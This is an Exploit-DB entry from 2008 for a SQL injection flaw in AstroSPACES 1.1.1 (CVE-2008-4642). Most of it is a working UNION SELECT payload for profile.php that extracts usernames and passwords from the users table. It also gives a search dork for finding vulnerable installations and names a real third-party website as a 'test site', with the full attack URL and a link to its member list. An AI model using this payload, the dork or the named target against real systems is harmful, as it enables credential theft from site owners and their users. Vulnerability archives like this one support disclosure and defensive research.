AstroSPACES 1.1.1 - 'id' SQL Injection

EDB-ID:

6758

CVE:

2008-4642

EDB Verified:

Author:

TurkishWarriorr

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2008-10-15

Vulnerable App:

# AstroSPACES (profile.php) SQL

  Powered by Philippine Website Developers and AstroSPACES Â© P3NET 2006-2007
#########################################################################
#
# AUTHOR : TurkishWarriorr  (Sehitler Ã–lmez Vatan BÃ¶lÃ¼nmez ....)
#
# HOME : http://www.1923turk.org
#
#########################################################################
#
# DORK : Powered By AstroSPACES
#
##########################################################################
EXPLOIT :

profile.php?action=view&id=160+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+users--


test sites:

http://quirino.com.ph/friendster/profile.php?action=view&id=160+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+users--


E mail login :

http://quirino.com.ph/friendster/space.php?action=memberlist

##########################################################################
                               www.1923turk.org                    
                        turkish-warriorr@hotmail.com

# milw0rm.com [2008-10-15]

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services